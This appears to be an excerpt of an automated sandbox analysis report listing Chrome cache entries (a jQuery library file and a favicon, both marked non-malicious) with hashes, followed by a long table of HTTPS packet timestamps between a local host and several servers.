SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7372
Entropy (8bit):	7.9308028070746746
Encrypted:	false
SSDEEP:	192:5pVfDg0hOfu4Ai9eGW0QW9D73IPystqKWGO:dfc0h29erc7YPysWl
MD5:	EC3540F025D9B0348C7478D32E90B176
SHA1:	4B70A65BB5CDC669D5DCD3EA9D422FEC0A300829
SHA-256:	3ECD1981672AC39DE3B2FCC74A081F5000498685FCAF769121840C48BE2B6F06
SHA-512:	7606A3B20E2ACD7FE2EF36103ECFA28BFD6434F7455F259476332C9B3268801FA494D52A5C56998FF1EA44871B4356304D9797BA49544C85A7776D4024FEF5A0
Malicious:	false
Reputation:	low
URL:	https://app.robly.com/favicon.ico
Preview:	.PNG........IHDR.............e..5....gAMA......a.....sRGB.........PLTEGpL.`..:......X&.X&.n..r..t.t.f........?....<..<..?......u.l(.u+.(..u.l(....)..X%.p.......)..s........i(.h#.s.r.t.,..)..U$.V$.\%...........p(8...u+.,..W$.Y%.t+.X%.t.s.)..e&.c,...........X&.W%..........)..\$.......)..q.........X%.V$....X%.W%.)..x8..........!.......t......X&.......u.....>.......s).Y&.W%.w.n).'........r(.p)..........t....s,....p&.o&.t0.Z&.s+.v+.......q,....l%....c'.]&..p.m...t.h(.S".......<..5..I"..2.....>..../..z...6........_.y<..c....H......C!..>.#...h..k.U$..............~................u..<........C.....J.....w..........z.....t....P#.v4..3..[..T..<..W..............X........b....).Z%.....K.....N..kFFF.m6,*%SST.....0...uuu666..............8..3..............gba_..m........`H?)n_6..N.c.`..Z.a....@.....1...`tRNS................U$..2....+...5.A....W .e.u^.\|f1i.$B..?C...lK........<wF.w.YY.....Y....J/v.....IDATx..[KL[g....k_$.0....Myu..A...M.D.....xt

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 15:30:06.405833006 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:06.405883074 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:06.405956984 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:06.406208992 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:06.406232119 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:06.959470034 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:06.959767103 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:06.959800005 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:06.960871935 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:06.960944891 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:06.962007999 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:06.962084055 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:06.962260008 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:06.962272882 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.014261961 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.486375093 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486403942 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486412048 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486449003 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486474991 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486519098 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486525059 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.486525059 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.486552954 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486571074 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.486635923 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.486635923 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.486673117 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486691952 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.486886978 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.486896038 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.487121105 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.615406990 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:07.615447998 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:07.615616083 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:07.616015911 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:07.616034031 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:07.666594028 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.666719913 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.666801929 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.670692921 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.670979977 CEST	49700	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:07.671011925 CEST	443	49700	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:07.796729088 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:07.796840906 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:07.797106028 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:07.797144890 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:07.797252893 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:07.798505068 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:07.798546076 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:07.798564911 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:07.798768997 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:07.798805952 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:07.850198030 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:07.850492001 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:07.850517988 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:07.851541996 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:07.851622105 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:07.852716923 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:07.852786064 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:07.852998018 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:07.853007078 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:07.906531096 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:08.053872108 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.054239035 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.054306984 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.055460930 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.055618048 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.056687117 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.056731939 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.056807995 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.056838036 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.056982994 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.057025909 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.058083057 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.058238029 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.059031963 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.059097052 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.059199095 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.059215069 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.098429918 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.098453999 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.114336967 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.149554968 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.238429070 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:08.238692999 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:08.238755941 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:08.239414930 CEST	49703	443	192.168.2.16	108.139.15.45
Apr 25, 2024 15:30:08.239438057 CEST	443	49703	108.139.15.45	192.168.2.16
Apr 25, 2024 15:30:08.247327089 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.247427940 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.247528076 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.249465942 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.249505997 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.357465982 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.357590914 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.357760906 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.358278990 CEST	49706	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.358319998 CEST	443	49706	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.361731052 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.361808062 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.361958027 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.362179995 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.362210035 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.364669085 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.364780903 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.364831924 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.365143061 CEST	49705	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.365153074 CEST	443	49705	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.476418972 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.476449966 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.476459980 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.476488113 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.476579905 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.476783037 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.476783037 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.476814985 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.476924896 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.476942062 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.509428024 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.510107040 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.510185957 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.511317015 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.511666059 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.511821032 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.511835098 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.511857986 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.561290026 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.600095034 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.600518942 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.600554943 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.602117062 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.602186918 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.603008032 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.603096962 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.603158951 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.644120932 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.657305956 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.657341003 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.705391884 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.720504045 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.720768929 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.720781088 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.721211910 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.721482992 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.721568108 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.721812963 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.721843004 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.722341061 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.722450018 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.722886086 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.722951889 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.723328114 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.723386049 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.724011898 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.724121094 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.724246025 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.724253893 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.724409103 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.724489927 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.724560022 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.724572897 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.769267082 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.769326925 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.777905941 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.778100967 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.778193951 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.778716087 CEST	49707	443	192.168.2.16	34.231.99.77
Apr 25, 2024 15:30:08.778739929 CEST	443	49707	34.231.99.77	192.168.2.16
Apr 25, 2024 15:30:08.780483961 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.780513048 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.780601978 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.780786037 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:08.780797005 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.836457014 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.836683035 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.836745977 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.837245941 CEST	49711	443	192.168.2.16	142.251.15.99
Apr 25, 2024 15:30:08.837258101 CEST	443	49711	142.251.15.99	192.168.2.16
Apr 25, 2024 15:30:08.982527018 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:08.996275902 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.002904892 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.002933979 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.002974033 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.002994061 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.003010035 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.003060102 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.003067970 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.003097057 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.003123045 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.006383896 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.006762981 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.006768942 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.007071018 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.010663986 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.010674000 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.010713100 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.010745049 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.010762930 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.010807991 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.010864973 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.010922909 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.011077881 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.011210918 CEST	49713	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.011229038 CEST	443	49713	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.021662951 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.021691084 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.021920919 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.021933079 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.022104025 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.052131891 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.056307077 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.102732897 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.102791071 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.102859974 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.102870941 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.102941990 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.102947950 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.123857975 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.123913050 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.123966932 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.123974085 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.124015093 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.129276037 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.129317045 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.129379988 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.129780054 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.129797935 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.142786026 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.142846107 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.145580053 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.145595074 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.164815903 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.164865017 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.164922953 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.164932966 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.164990902 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.181514978 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.181925058 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.215476990 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.215558052 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.215639114 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.215646029 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.215708971 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.215715885 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.231095076 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.231127977 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.231219053 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.231229067 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.245470047 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.245496988 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.245582104 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.245601892 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.245649099 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.259552002 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.259602070 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.259664059 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.259673119 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.259712934 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.267273903 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.274220943 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.274271965 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.274333954 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.274350882 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.274401903 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.280057907 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.280145884 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.280153036 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.287242889 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.287276030 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.287318945 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.287333012 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.287343025 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.287380934 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.287400007 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.287445068 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.287462950 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.290668011 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.290705919 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.290754080 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.290757895 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.290800095 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.290828943 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.291169882 CEST	49712	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.291183949 CEST	443	49712	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.294555902 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.294621944 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.294723034 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.295058012 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.295089960 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.305258036 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.305304050 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.305360079 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.305366993 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.305413961 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.305460930 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.352962971 CEST	443	49716	18.244.197.147	192.168.2.16
